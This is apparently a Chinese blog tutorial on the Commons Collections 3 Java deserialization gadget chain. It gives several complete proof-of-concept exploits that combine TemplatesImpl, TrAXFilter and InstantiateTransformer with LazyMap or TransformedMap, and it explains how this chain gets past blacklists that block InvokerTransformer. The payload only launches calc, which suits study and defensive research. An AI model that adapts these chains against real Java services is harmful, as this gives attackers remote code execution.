Java 反序列化漏洞-Apache Commons Collections3

前言

之前已经学了CC1和CC2,接下来继续学习CC3。在CC2中我们用到了javassist修改字节码并配合TemplatesImpl攻击链来使用,因此我们很自然而然的想到,如果我们直接用javassist修改字节码并配合TemplatesImpl攻击链使用,就无需用InvokerTransformer来从Runtime.class到exec()了,直接把字节码加载就行,然后用InvokerTransformer调用一下newTransformer()即可:

CC3产生的目的就是为了绕过⼀些规则对InvokerTransformer的限制。也就是说,有些反序列化的过滤器的黑名单中有了InvokerTransformer,因此需要绕过。

javassist+TemplatesImpl

这个组合我在CC2中就已经用过了,就直接贴代码了

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Transformer;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Javassist_test {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();  // 获取javassist维护的类池
        CtClass cc = pool.makeClass("Test");  // 创建一个空类Test
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);  //insertBefore创建 static 代码块,并插入代码
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));  //setSuperclass更改父类
        byte[] classBytes = cc.toBytecode();  //toBytecode()获取修改的字节码
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        bytecodes.set(templates,targetByteCodes);
        name.set(templates,"aaa");
        tfactory.set(templates,new TransformerFactoryImpl());

        templates.newTransformer();
    }

}

按照上述代码,我们需要找个地方来调用newTransformer()方法去触发我们的 TemplatesImpl 攻击。

com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

TrAXFilter 在实例化时接收 Templates 对象,并调用其 newTransformer 方法,这就可以触发我们的 TemplatesImpl 的攻击 payload 了。

在这里插入图片描述
接下来就是想办法调用这个构造器了,于是找到了CommonsCollections中的这个InstantiateTransformer类

org.apache.commons.collections.functors.InstantiateTransformer

在这里插入图片描述

在这里插入图片描述
InstantiateTransformer类的transform方法,很明显可以通过反射机制调用有参构造函数实例化一个对象,因此我们预想中的代码应该是这么执行的

Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter").getConstructor( Templates.class ).newInstance(templates )

构造POC

明确了目标后就很简单了,ConstantTransformer类的transform方法会返回它构造器的参数
在这里插入图片描述
再配合上CC1一直用的ChainedTransformer类,我们可以得到如下POC

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class CC3 {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();  // 获取javassist维护的类池
        CtClass cc = pool.makeClass("Test");  // 创建一个空类Test
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);  //insertBefore创建 static 代码块,并插入代码
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));  //setSuperclass更改父类
        byte[] classBytes = cc.toBytecode();  //toBytecode()获取修改的字节码
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        bytecodes.set(templates,targetByteCodes);
        name.set(templates,"aaa");
        tfactory.set(templates,new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates}
                )
        };

        ChainedTransformer chain = new ChainedTransformer(transformers);
        
    }

}

但这样显然还不行,毕竟是反序列化漏洞,我们的POC现在已经构造好chain了,因此自然而然我们可以想到结合CC1 进行攻击利用

基于LazyMap

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC3_lazymap {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();  // 获取javassist维护的类池
        CtClass cc = pool.makeClass("Test");  // 创建一个空类Test
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);  //insertBefore创建 static 代码块,并插入代码
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));  //setSuperclass更改父类
        byte[] classBytes = cc.toBytecode();  //toBytecode()获取修改的字节码
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        bytecodes.set(templates, targetByteCodes);
        name.set(templates, "aaa");
        tfactory.set(templates, new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates}
                )
        };

        ChainedTransformer chain = new ChainedTransformer(transformers);
        Map lazyMap = LazyMap.decorate(new HashMap(), chain);
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        // 创建携带着 LazyMap 的 AnnotationInvocationHandler 实例
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
        // 创建LazyMap的动态代理类实例
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler);

        // 使用动态代理初始化 AnnotationInvocationHandler
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, mapProxy);

        ByteArrayOutputStream exp=new ByteArrayOutputStream();
        ObjectOutputStream oos=new ObjectOutputStream(exp);
        oos.writeObject(invocationHandler);
        oos.flush();
        oos.close();
        ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray());
        ObjectInputStream ois=new ObjectInputStream(out);
        Object obj=(Object) ois.readObject();

    }
}

基于TransformedMap

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import javax.annotation.Generated;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC3_lazymap {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();  // 获取javassist维护的类池
        CtClass cc = pool.makeClass("Test");  // 创建一个空类Test
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);  //insertBefore创建 static 代码块,并插入代码
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));  //setSuperclass更改父类
        byte[] classBytes = cc.toBytecode();  //toBytecode()获取修改的字节码
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        bytecodes.set(templates, targetByteCodes);
        name.set(templates, "aaa");
        tfactory.set(templates, new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates}
                )
        };

        ChainedTransformer chain = new ChainedTransformer(transformers);
        Map<Object, Object> map = new HashMap<Object, Object>();
        map.put("value","111");
        // 这里 key 一定是 下面实例化 AnnotationInvocationHandler 时传入的注解类中存在的属性值
        // 并且这里的值的一定不是属性值的类型
        Map<Object, Object> transformedMap =TransformedMap.decorate(map,null,chain);
//        for (Map.Entry<Object, Object> entry : Transformedmap.entrySet()) {
//            System.out.println(entry.setValue("aaa"));
//        }

        Class<?> c= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class, transformedMap);
        //InvocationHandler handler = (InvocationHandler) constructor.newInstance(java.lang.annotation.Target.class, transformedMap);
        //注解类选哪个都行,如Generated和Target类都行,而注解类的属性也是选哪个都可以,如Generated类的value,date,comments
        ByteArrayOutputStream exp=new ByteArrayOutputStream();
        ObjectOutputStream oos=new ObjectOutputStream(exp);
        oos.writeObject(handler);
        oos.flush();
        oos.close();
        ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray());
        ObjectInputStream ois=new ObjectInputStream(out);
        Object obj=(Object) ois.readObject();

    }
}

ysoserial中的POC

前面也说过,CC3的话尽可能不使用InvocationHandler,因为有些反序列化的过滤器的黑名单中有了InvokerTransformer,在ysoserial中的POC,其实走的就是TransformedMap攻击链,因为不需要InvokerTransformer,所以把InvokerTransformer改成object即可

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.annotation.Generated;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC3_lazymap {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();  // 获取javassist维护的类池
        CtClass cc = pool.makeClass("Test");  // 创建一个空类Test
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);  //insertBefore创建 static 代码块,并插入代码
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));  //setSuperclass更改父类
        byte[] classBytes = cc.toBytecode();  //toBytecode()获取修改的字节码
        byte[][] targetByteCodes = new byte[][]{classBytes};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();

        Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
        Field name = templates.getClass().getDeclaredField("_name");
        Field tfactory = templates.getClass().getDeclaredField("_tfactory");

        bytecodes.setAccessible(true);
        name.setAccessible(true);
        tfactory.setAccessible(true);

        bytecodes.set(templates, targetByteCodes);
        name.set(templates, "aaa");
        tfactory.set(templates, new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates}
                )
        };

        ChainedTransformer chain = new ChainedTransformer(transformers);
        Map<Object, Object> map = new HashMap<Object, Object>();
        map.put("value","111");
        // 这里 key 一定是 下面实例化 AnnotationInvocationHandler 时传入的注解类中存在的属性值
        // 并且这里的值的一定不是属性值的类型
        Map<Object, Object> transformedMap =TransformedMap.decorate(map,null,chain);
//        for (Map.Entry<Object, Object> entry : Transformedmap.entrySet()) {
//            System.out.println(entry.setValue("aaa"));
//        }

        Class<?> c= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        //InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class, transformedMap);
        //InvocationHandler handler = (InvocationHandler) constructor.newInstance(java.lang.annotation.Target.class, transformedMap);
        //注解类选哪个都行,如Generated和Target类都行,而注解类的属性也是选哪个都可以,如Generated类的value,date,comments
        Object o=constructor.newInstance(Generated.class, transformedMap);
        ByteArrayOutputStream exp=new ByteArrayOutputStream();
        ObjectOutputStream oos=new ObjectOutputStream(exp);
        //oos.writeObject(handler);
        oos.writeObject(o);
        oos.flush();
        oos.close();
        ByteArrayInputStream out=new ByteArrayInputStream(exp.toByteArray());
        ObjectInputStream ois=new ObjectInputStream(out);
        Object obj=(Object) ois.readObject();

    }
}

总结

AnnotationInvocationHandler.readObject()
   Map(Proxy).entrySet()
        AnnotationInvocationHandler.invoke()
            TransformedMap.setValue()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                        InstantiateTransformer.transform()
                            TemplatesImpl.newTransformer()
                            

参考文章

https://su18.org/post/ysoserial-su18-2/#traxfilter
https://ego00.blog.csdn.net/article/details/119780324

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值